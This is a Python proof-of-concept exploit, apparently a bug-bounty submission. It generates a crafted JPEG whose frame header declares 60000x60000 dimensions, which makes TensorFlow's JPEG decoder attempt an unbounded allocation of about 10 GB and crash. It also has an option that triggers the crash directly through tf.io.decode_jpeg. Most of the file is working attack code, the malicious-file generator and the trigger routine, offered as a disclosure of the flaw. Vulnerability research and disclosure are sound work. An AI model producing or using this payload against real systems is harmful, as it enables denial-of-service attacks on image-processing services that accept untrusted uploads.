File size: 6,086 Bytes
15af1e5
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
#!/usr/bin/env python3
"""
PoC: TensorFlow JPEG Decoder Unbounded Memory Allocation (DoS)
CVE: TBD | CWE-770 | CVSS 7.5

Vulnerability:
    tensorflow/core/kernels/image/decode_image_op.cc β€” DecodeJpegV2 reads
    height/width from the JPEG SOF header and allocates height*width*channels
    bytes WITHOUT any upper bound check.

    Compare with DecodeBmpV2 (SAME FILE) which checks:
        OP_REQUIRES(context, total_bytes < (1LL << 30), ...)

    JPEG is the MOST COMMON image format β€” every TF image pipeline is affected.

Attack:
    Craft a JPEG with SOF0 declaring width=60000, height=60000.
    TF attempts to allocate 60000 * 60000 * 3 = ~10 GB.
    tf.io.decode_jpeg() on this file β†’ OOM crash.

    Unlike GIF (companion finding), JPEG affects:
    - tf.io.decode_jpeg()
    - tf.io.decode_image()
    - tf.keras.preprocessing.image.load_img()
    - All tf.data image pipelines

Usage:
    python3 poc_exploit.py              # generates malicious.jpg
    python3 poc_exploit.py --trigger    # also triggers crash via TF

Author: security research (huntr.com submission)
"""

import sys
import os
import struct

OUTPUT_FILE = 'malicious_huge.jpg'


def create_malicious_jpeg(width: int = 60000, height: int = 60000,
                           channels: int = 3) -> bytes:
    """
    Craft a minimal JPEG file with SOF0 declaring extreme dimensions.

    JPEG structure used:
        SOI β†’ APP0 (JFIF) β†’ SOF0 (huge dimensions) β†’ DHT β†’ EOI

    libjpeg reads SOF0 and returns width/height to TensorFlow.
    TF then calls allocate_output(TensorShape({height, width, channels}))
    without checking the total size.
    """

    # SOI β€” Start of Image
    data = b'\xFF\xD8'

    # APP0 β€” JFIF marker (makes it a "valid" JPEG)
    jfif = b'JFIF\x00'      # identifier
    jfif += struct.pack('>BB', 1, 2)   # version 1.2
    jfif += b'\x00'          # pixel aspect ratio (none)
    jfif += struct.pack('>HH', 1, 1)  # pixel aspect ratio 1:1
    jfif += b'\x00\x00'      # no thumbnail
    data += b'\xFF\xE0' + struct.pack('>H', len(jfif) + 2) + jfif

    # SOF0 β€” Start of Frame (Baseline DCT)
    # This is where TF reads the dimensions
    # Format: length(2) | precision(1) | height(2) | width(2) | n_components(1)
    #         [component_id(1) | sampling(1) | qt_id(1)] * n_components
    precision = 8  # bits per sample

    sof0_body = struct.pack('>B', precision)
    sof0_body += struct.pack('>H', height)    # ← HUGE HEIGHT
    sof0_body += struct.pack('>H', width)     # ← HUGE WIDTH
    sof0_body += struct.pack('>B', channels)

    for comp_id in range(1, channels + 1):
        sof0_body += struct.pack('>BBB', comp_id, 0x11, 0)  # id, sampling, qt

    sof0_length = len(sof0_body) + 2  # +2 for length field itself
    data += b'\xFF\xC0' + struct.pack('>H', sof0_length) + sof0_body

    # DHT β€” Define Huffman Table (minimal, required for valid JPEG)
    # Minimal: DC table class=0, id=0, all zero counts
    dht_body = bytes([0x00])        # table class 0, id 0
    dht_body += bytes([0] * 16)     # zero counts for all lengths
    # No symbols needed for empty table
    data += b'\xFF\xC4' + struct.pack('>H', len(dht_body) + 2) + dht_body

    # DQT β€” Define Quantization Table (minimal)
    dqt_body = bytes([0x00])        # precision 0, table id 0
    dqt_body += bytes([16] * 64)    # 64 quantization values
    data += b'\xFF\xDB' + struct.pack('>H', len(dqt_body) + 2) + dqt_body

    # SOS β€” Start of Scan (triggers actual decode)
    sos_body = struct.pack('>B', channels)
    for comp_id in range(1, channels + 1):
        sos_body += struct.pack('>BB', comp_id, 0x00)  # comp_id, dc/ac table
    sos_body += bytes([0, 63, 0])   # Ss, Se, Ah/Al (progressive params)
    data += b'\xFF\xDA' + struct.pack('>H', len(sos_body) + 2) + sos_body

    # Minimal scan data (all zeros β†’ valid compressed data for empty image)
    data += b'\xFF\x00' * 4  # escaped 0xFF bytes in scan data
    data += b'\x00' * 8       # scan payload

    # EOI β€” End of Image
    data += b'\xFF\xD9'

    total_bytes_attempt = height * width * channels
    bmp_limit = 1 << 30  # 1,073,741,824 bytes

    print(f"[*] Crafted malicious JPEG:")
    print(f"    Dimensions   : {width:,} x {height:,} x {channels} (RGB)")
    print(f"    Alloc attempt: {total_bytes_attempt:,} bytes = "
          f"{total_bytes_attempt / 1e9:.1f} GB")
    print(f"    File size    : {len(data)} bytes (minimal header)")
    print(f"    BMP limit    : {bmp_limit:,} bytes (2^30) β†’ would BLOCK")
    print(f"    PNG limit    : {1<<29:,} bytes (2^29) β†’ would BLOCK")
    print(f"    JPEG limit   : NONE β†’ TF allocates {total_bytes_attempt/1e9:.1f} GB ← CRASH")

    return data


def main():
    trigger = '--trigger' in sys.argv

    payload = create_malicious_jpeg()
    with open(OUTPUT_FILE, 'wb') as f:
        f.write(payload)
    print(f"\n[+] Malicious JPEG written: {OUTPUT_FILE} ({os.path.getsize(OUTPUT_FILE)} bytes)")

    if trigger:
        print(f"\n[*] Triggering via tf.io.decode_jpeg()...")
        try:
            import tensorflow as tf
            print(f"    TensorFlow version: {tf.__version__}")

            jpeg_bytes = open(OUTPUT_FILE, 'rb').read()

            # Primary trigger
            result = tf.io.decode_jpeg(jpeg_bytes, channels=3)
            print(f"[-] Unexpected success: shape={result.shape}")

        except Exception as e:
            name = type(e).__name__
            if 'OOM' in str(e) or 'ResourceExhausted' in name or 'Memory' in name:
                print(f"[+] CRASH CONFIRMED: {name}")
                print(f"    TF attempted to allocate a {60000*60000*3/1e9:.1f} GB tensor")
            else:
                print(f"[~] Exception: {name}: {e}")
    else:
        print(f"\n[i] Run with --trigger to demonstrate the crash:")
        print(f"    python3 {sys.argv[0]} --trigger")
        print(f"\n    Also works via:")
        print(f"    >>> import tensorflow as tf")
        print(f"    >>> tf.io.decode_image(open('{OUTPUT_FILE}','rb').read())")


if __name__ == '__main__':
    main()